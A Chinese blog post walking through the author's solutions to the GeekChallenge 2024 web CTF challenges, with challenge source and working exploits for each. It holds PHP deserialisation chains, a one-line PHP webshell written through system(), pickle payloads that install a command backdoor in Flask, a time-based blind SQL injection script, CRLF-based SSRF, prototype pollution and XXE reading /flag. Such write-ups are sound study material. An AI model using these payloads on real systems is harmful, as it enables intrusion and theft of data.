极客大挑战复现2024
本文最后更新于192 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

2024极客大挑战

假期其他比赛太难了都在坐牢等复现。想着乘着时间写写简单的(bushi)。然后就找到了这个………

去年没打今年写看看

web

100%的⚪

直接看源码,base64即可

image-20250703213314211

ezpop

看源码

 <?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}

pop链很简单很好找,Welcome GeekChallenge 2024可以用data协议来绕过

主要就是正则过滤了meimeng和如何绕过exit。

正则过滤了meimeng,我们可以用大写S加16进制绕过,在 PHP 序列化字符串中,将 s(表示字符串类型标识符)改为大写的 S 可以触发 十六进制编码转义 的特性

绕过exit可以看这篇https://xz.aliyun.com/news/7758

exp:

<?php
Class SYC{
    public $starven;
}

Class lover{
    public $J1rry;
    public $meimeng;

}

Class Geek{
    public $GSBP;

}
$syc = new SYC();
$lover = new lover();
$geek= new Geek();
$lover1 = new lover();
$geek1= new Geek();
$syc->starven = 'php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess';
$geek->GSBP = $syc;
$lover->meimeng = $geek;
$geek1->GSBP = $lover;
$lover1->meimeng = $geek1;
$lover1->J1rry = 'data://text/plain,Welcome GeekChallenge 2024';
echo serialize($lover1);
echo "n";

得出

O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";s:7:"meimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;s:7:"meimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:91:"php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";}}}}}
将S改为大写,meimeng改成16进制。%0a%23是6个字符,实际上是换行和#,也就是两个字符,所以91改为87
O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";S:7:"6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;S:7:"6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";s:87:"php://filter/string.strip_tags/?>php_value+auto_prepend_file+/flag%0a%23/resource=.htaccess";}}}}}

多刷新几次页面即可

image-20250708230148820

baby_upload

抓包可知服务器为Apache/2.4.10。

对应CVE-2017-15715

复现即可

image-20250710215620904

ez_http

注意jwt的false改为true即可

image-20250710220455712

rce_me

 <?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?

if (!is_array($_POST["start"])) {
    if (!preg_match("/start.*now/is", $_POST["start"])) {
        if (strpos($_POST["start"], "start now") === false) {
            die("Well, you haven't started.<br>");
        }
    }
}

echo "Welcome to GeekChallenge2024!<br>";

if (
    sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
    (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
    is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
    echo "You took the first step!<br>";

    foreach ($_GET as $key => $value) {
        $$key = $value;
    }

    if (intval($year) < 2024 && intval($year + 1) > 2025) {
        echo "Well, I know the year is 2024<br>";

        if (preg_match("/.+?rce/ism", $purpose)) {
            die("nonono");
        }

        if (stripos($purpose, "rce") === false) {
            die("nonononono");
        }
        echo "Get the flag now!<br>";
        eval($GLOBALS['code']);

    } else {
        echo "It is not enough to stop you!<br>";
    }
} else {
    echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

乍一看上难度了,其实很简单….

第一关只要传入数组start[]即可就不会进行正则和die了。

第二关是若相等,找到sha1加密后也是0e开头的即可。

第三关利用变量覆盖get传参,使用科学计数法即可

第四关在rce后面随便输入即可绕过stripos。

image-20250710222848844

payload:

?year=2e5&purpose=rce123&code=system('cat /flag');
start[]=1&_[2024.geekchallenge.ctf=0e1290633704

Problem_On_My_Web

无过滤的xss+ssrf

表单提交:

<script>alert(document.domain);</script>

image-20250710230816798

ez_include

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
    if(preg_match('/starven_secret.php/i', $_GET['file'])) {
        require_once $_GET['file'];
    }else{
        echo "还想非预期?";
    }
} 

绕过这个函数看这篇:https://www.anquanke.com/post/id/213235

require_once函数在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含。

payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

来到第二关

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

php.ini中的register_argc_argv开启了。原理看https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/

最终payload:

?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/a.php

image-20250711223449542

Can_you_Pass_Me

考点ssti。fenjing能梭出来。

image-20250712204533178

但是不能直接输出,编码绕过即可。这题最后的限制回显感觉没啥意义

image-20250712204844260

SecretInDrivingSchool

查看源码发现L000G1n.php。访问是个登录页面

先试一下弱密码,发现账号是admin

image-20250712205340777

明显是要爆破密码,bp设置好格式开始爆破。最后为SYC@chengxing

进入页面发现可以修改广告,直接插入代码即可

image-20250712210447551

保存后回到页面首页即可

image-20250712210531944

ez_SSRF

dirsearch扫一下发现www.zip拿到源码

//h4d333333.php
<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}
//calculator.php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+-*/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}

代码很简单,从h4页面进行ssrf。没啥过滤,很好绕过

image-20250712215605611

最后读取1.txt即可

image-20250712215630453

payload:

POST /h4d333333.php?location=http://127.0.0.1/calculator.php
user=%0d%0a%0d%0a%0d%0a%0d%0a%0d%0aPOST /calculator.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 35%0d%0aAuthorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0a%0d%0aexpression=system('cat /f* >1.txt')%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a

user是为了截断,使服务器以为是主机发送的第二个请求。这样ssrf就成功了。

ez_js

image-20250712220431964

本题作者Starven。密码猜测123456

来到第二关,原型链污染

账密对了,但是没有flag的权限还想要flag?你好像污染没成功呢?那咋办呢?</h1>
    <h1>给你一部分源码想想怎么污染呢</h1>

    <h1>const { merge } = require('./utils/common.js'); 

        function handleLogin(req, res) {
        var geeker = new function() {
            this.geekerData = new function() {
                this.username = req.body.username;
                this.password = req.body.password;
            };
        };

        merge(geeker, req.body);

        if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
            if(geeker.hasFlag){
                const filePath = path.join(__dirname, 'static', 'direct.html');
                res.sendFile(filePath, (err) => {
                    if (err) {
                        console.error(err);
                        res.status(err.status).end();
                    }
                });
            }else{
                const filePath = path.join(__dirname, 'static', 'error.html');
                res.sendFile(filePath, (err) => {
                    if (err) {
                        console.error(err);
                        res.status(err.status).end();
                    }
                });
            } 
        }else{
            const filePath = path.join(__dirname, 'static', 'error2.html'); 
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end(); 
                }
            });
        }
    }</h1>

    <h1>function merge(object1, object2) {
        for (let key in object2) {
            if (key in object2 && key in object1) {
                merge(object1[key], object2[key]);
            } else {
                object1[key] = object2[key];
            }
        }
    }

    module.exports = { merge };

看源码很简单,只要让 geeker.hasFlag 为 true即可

{"username": "Starven","password": "123456","__proto__": {"hasFlag": true}}

image-20250712220804975

去flag路由,点击give me flag发现….

image-20250712221108682

有点懵逼,参数不知道传啥,去看wp吧….结果是对逗号进行绕过。这我真没想到。。。

{"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}

image-20250712221721346

funnySQL

无回显sql注入,只能盲注了。测试一下发现黑名单有

image-20250712223432655

or被ban了,意味着information库查不了了,可以用mysql.innodb_table_stats 来查表名
sleep被ban了用benchmark。=号用like绕。空格被ban了用/**/绕

import requests
import time
import re

url = "http://80-7ccc5ce2-33ca-4fd7-8618-e8e16d032bbf.challenge.ctfplus.cn"

def send(payload: str) -> bool:
    start = time.time()
    requests.get(url, params={"username": payload})
    end = time.time()
    delay = end - start
    # print(f"{delay:.2f} | {payload}")
    return delay > 2

def inject():
    print("Start..")

    def find():
        name = ""
        char_offset = 1

        def find_char():
            nonlocal name, char_offset
            for char in range(32, 127):
                # 排除干扰 LIKE 判断的字符
                if char == 37 or char == 95:
                    continue

                # 查库名: syclover (由于 like 的模糊匹配特性得到的是 SYCLOVER,后面用的时候发现是错的,改小写就对了)
                sentence = sentence = f"'||IF(SUBSTRING(database(),{char_offset},1) LIKE '{chr(char)}',BENCHMARK(1000000,MD5(1)),0)#"

                # 查表名: Rea11ys3ccccccr3333t, urers
                sentence = f"'||IF((SUBSTRING((SELECT GROUP_CONCAT(table_name) FROM mysql.innodb_table_stats WHERE database_name LIKE 'syclover'),{char_offset},1) LIKE '{chr(char)}'),BENCHMARK(10000000,SHA1(1)),0)#"

                # 查 flag: SYC{F669F589-B05C-440D-AECC-B9BD008DBD59} (根据题目描述要把括号内字母改成小写)
                sentence = f"'||IF((SUBSTRING((SELECT * FROM Rea11ys3ccccccr3333t LIMIT 1),{char_offset},1) LIKE '{chr(char)}'),BENCHMARK(10000000,SHA1(1)),0)#"
                sentence = re.sub(" ", "/**/", sentence)

                if send(sentence):
                    name += chr(char)
                    print(name)
                    char_offset += 1
                    find_char()

        find_char()
        if name:
            find()

    find()

if __name__ == '__main__':
    inject()

PHP不比Java差

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}

class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    public function __toString()
    {
        echo "__toString is called<br>";
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);

    }
}

unserialize($_POST['data']); 

依旧是反序列化,

echo $FLAG需要file_exists($this->file)为true,所以给$file赋值为secret.php即可。

那如何触发Sink()呢?要用到Geek::unserialize()方法。unserialize()方法在遇到unserialize时触发。

反序列化时 Geek 类实例的 $a $b 属性组成一个关联数组传进 __unserialize(),在方法里获取 GET 参数 change 作为函数调用,将关联数组作参数传入,返回值作为函数调用。

但需要注意的是,官方WP里说:此处返回的数组为一个关联形的数组

image-20250713213513185

利用 $FUNC() 进行数组调用类的方法时需要注意:数组类型应该为索引数组,测试如下

image-20250713213616721

如图所示,索引数据可触发$FUNC()。利用这个特性来触发Sink方法。将关联数组转为索引数组。其实可以直接利用current函数来取数组中的第一个值即可。

思路:令 changecurrent$a为array($c, "Sink") ,这样current() 函数会返回数组第一个值,将 $a 作为函数调用就会调用到对象里的方法,此时会直接调用 Sink()

关于可变函数:https://www.php.net/manual/zh/functions.variable-functions.php

<?php
class Challenge {
    public $file = "secret.php";
}

class Geek {
    public $a;
    public $b;
}

$g = new Geek();
$c = new Challenge();

$g->a = array($c, "Sink");
echo serialize($g);

得到

image-20250713215737291

所以还要读/flag。这就要用到Syclover类的toString方法。

要利用ReflectionFunction::invoke — 调用函数

非常简单看一下就明白了:https://runebook.dev/cn/docs/php/reflectionfunction.invoke

<?php
class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;

} 

class Geek {
    public $a;
    public $b;
}

$g = new Geek();
$s = new Syclover();
$s->Where="ReflectionFunction";
$s->IS="system";
$s->Starven="invoke";
$s->Girlfriend="echo '<?php @eval($_POST[cmd]);?>' > shell.php";
$g->a = array($s, "__toString");
echo urlencode(serialize($g));

因为flag不能直接读出来,需要提权。所以我们写个一句话马进去。

image-20250713223405680

suid提权发现file可用,直接file -f /flag即可。-f是利用报错来读取文件

jwt_pickle

源码

import base64
import hashlib
import random
import string
from flask import Flask,request,render_template,redirect
import jwt
import pickle

app = Flask(__name__,static_folder="static",template_folder="templates")

privateKey=open("./private.pem","rb").read()
publicKey=open("./public.pem","rb").read()
characters = string.ascii_letters + string.digits + string.punctuation
adminPassword = ''.join(random.choice(characters) for i in range(18))
user_list={"admin":adminPassword}

@app.route("/register",methods=["GET","POST"])
def register():
    if request.method=="GET":
        return render_template("register.html")
    elif request.method=="POST":
        username=request.form.get("username")
        password=request.form.get("password")
        if (username==None)|(password==None)|(username in user_list):
            return "error"

        user_list[username]=password
        return "OK"

@app.route("/login",methods=["GET","POST"])
def login():
    if request.method=="GET":
        return render_template("login.html")
    elif request.method=="POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if (username == None) | (password == None):
            return "error"

        if username not in user_list:
            return "please register first"

        if user_list[username] !=password:
            return "your password is not right"

        ss={"username":username,"password":hashlib.md5(password.encode()).hexdigest(),"is_admin":False}
        if username=="admin":
            ss["is_admin"]=True
            ss.update(introduction=base64.b64encode(pickle.dumps("1ou_Kn0w_80w_to_b3c0m3_4dm1n?")).decode())

        token=jwt.encode(ss,privateKey,algorithm='RS256')

        return "OK",200,{"Set-Cookie":"Token="+token.decode()}

@app.route("/admin",methods=["GET"])
def admin():
    token=request.headers.get("Cookie")[6:]
    print(token)
    if token ==None:
        redirect("login")
    try:
        real= jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])
    except Exception as e:
        print(e)
        return "error"
    username = real["username"]
    password = real["password"]
    is_admin = real["is_admin"]
    if password != hashlib.md5(user_list[username].encode()).hexdigest():
        return "Hacker!"

    if is_admin:
        serial_S = base64.b64decode(real["introduction"])
        introduction=pickle.loads(serial_S)
        return f"Welcome!!!,{username},introduction: {introduction}"
    else:
        return f"{username},you don't have enough permission in here"

@app.route("/",methods=["GET"])
def jump():
    return redirect("login")

if __name__ == "__main__":
    app.run(debug=False,host="0.0.0.0",port=80)

源码很简单,就三个路由。 /register /login admin

/register 路由创建账号密码

/login 输入用户名和密码进行验证,登录成功后会用 RS256 及其私钥生成 jwt 给用户

/admin 用公钥 解密 jwt,接受两种加密算法 HS256 RS256,会获取 jwt 中的 username password is_admin 进行判断,需要 is_admin 为 True

这题解题关键就是公钥不知道,我们需要爆破,introduction部分会进行pickle.loads从而触发反序列化。

利用脚本jwt_forgeryhttps://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py

该脚本就是通过两个jwt进行爆破,算出公钥然后生成新的伪造的jwt。

我们先伪造好jwt,在如下红线处修改即可。

image-20250714221429229

然后我们随便注册两个用户进行登录,得到两个jwt后,运行脚本(再docker中运行,原作者有说明)。

image-20250714221552012

可以看到给了两个伪造的jwt。都进行尝试即可。

pickle反序列化:

import base64
import pickle

class A:
  def __reduce__(self):
    return (eval, ("__import__('os').popen(request.args.get('cmd')).read()",))

data=pickle.dumps(A())
print(base64.b64encode(data).decode())

最后发包即可,记得带上get参数

image-20250714220154267

ez_python

随便注册账号登录就可用拿到部分源码

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        usname = request.form['username']
        passwd = request.form['password']

        if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    return  render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
        return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
        statement = request.form['statement']

        try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                    return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
        except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

看到pickle.loads(heal_state)可以知道还是pickle反序列化。heal_state是可控的,也就是我们登录页面对straven说的话

import base64
import pickle

class A:
  def __reduce__(self):
    return (eval, ("app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))

data=pickle.dumps(A())
print(base64.b64encode(data).decode())

直接hackbar发包即可

image-20250714224312766

py_game

这题的游戏还真挺好玩的哈哈哈哈。

登录后抓包发现session是变化的,猜测可能是伪造session

image-20250714230346205

利用flask-unsign进行爆破密钥得到a123456。然后进行伪造session

e_cookie ={'username': 'admin'}

image-20250714230546456

将得到的伪造结果替换到浏览器中,成功登录admin

image-20250714230737813

可以看到有个链接,点击可以下载pyc,拿去反编译即可得到源码

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.6

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        if self.username == data['username']:
            pass
        return self.password == data['password']

admin = User('admin', '123456j1rrynonono')
Users = [
    admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                update(v, dst.get(k))
            else:
                dst[k] = v
        if hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
            continue
        setattr(dst, k, v)

def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.username == username:
                flash('用户名已存在', 'error')
                return redirect(url_for('register'))

        new_user = User(username, password)
        Users.append(new_user)
        flash('注册成功!请登录', 'success')
        return redirect(url_for('login'))
    return None('register.html')

register = app.route('/register', [
    'GET',
    'POST'], **('methods',))(register)

def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.check({
                'username': username,
                'password': password }):
                session['username'] = username
                flash('登录成功', 'success')
                return redirect(url_for('dashboard'))

        flash('用户名或密码错误', 'error')
        return redirect(url_for('login'))
    return None('login.html')

login = app.route('/login', [
    'GET',
    'POST'], **('methods',))(login)

def play():
    pass
# WARNING: Decompyle incomplete

play = app.route('/play', [
    'GET',
    'POST'], **('methods',))(play)

def admin():
    if 'username' in session and session['username'] == 'admin':
        return render_template('admin.html', session['username'], **('username',))
    None('你没有权限访问', 'error')
    return redirect(url_for('login'))

admin = app.route('/admin', [
    'GET',
    'POST'], **('methods',))(admin)

def downloads321():
    return send_file('./source/app.pyc', True, **('as_attachment',))

downloads321 = app.route('/downloads321')(downloads321)

def index():
    return render_template('index.html')

index = app.route('/')(index)

def dashboard():
    if 'username' in session:
        is_admin = session['username'] == 'admin'
        if is_admin:
            user_tag = 'Admin User'
        else:
            user_tag = 'Normal User'
        return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
    None('请先登录', 'error')
    return redirect(url_for('login'))

dashboard = app.route('/dashboard')(dashboard)

def xml_parse():

    try:
        xml_bytes = app.config['xml_data'].encode('utf-8')
        parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
        tree = etree.fromstring(xml_bytes, parser, **('parser',))
        result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
        return Response(result_xml, 'application/xml', **('mimetype',))
        except etree.XMLSyntaxError:
            e = None

            try:
                return str(e)
                e = None
                del e
            return None

xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
    '__class__'.encode(),
    '__init__'.encode(),
    '__globals__'.encode()]

def check(data):
    print(data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False

    return True

def update_route():
    if 'username' in session and session['username'] == 'admin':
        if request.data:

            try:
                if not check(request.data):
                    return ('NONONO, Bad Hacker', 403)
                data = None.loads(request.data.decode())
                print(data)
                if all((lambda .0: pass)(data.values())):
                    update(data, User)
                    return (jsonify({
                        'message': '更新成功' }), 200)
                return None
            except Exception:
                e = None

                try:
                    return (f'''Exception: {str(e)}''', 500)
                    e = None
                    del e
                return ('No data provided', 400)
                return redirect(url_for('login'))
                return None

update_route = app.route('/update', [
    'POST'], **('methods',))(update_route)
if __name__ == '__main__':
    app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))

有点瑕疵,可以用ai修复一下。这里我看不出来漏洞所在,直接wp做题法。

两个路由 /update xml_parse

  • /update 进行了合并操作,把 POST 数据合并到 User 实例,可能涉及 原型链污染
  • /xml_parseXML 格式解析 app.config['xml_data'],可能涉及 XXE

既然 flag 在 /flag,那么思路就是利用 /update 污染变量 app.config['xml_data'] 并结合 XXE 访问文件系统的组合技

另外还要绕过黑名单,可以使用 u 加 unicode 码绕过 (此处十六进制形式 x 实测不行) 到 /update 发包,把方法改成 POST,加上以下请求体

{
    "__u0069nit__": {
        "__globalu0073__": {
            "app": {
                "config": {
                    "xml_data": "<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "/flag">]><p>&xxe;</p>"
                }
            }
        }
    }
}

发包

image-20250714232405203

接着访问xml_parse路由即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇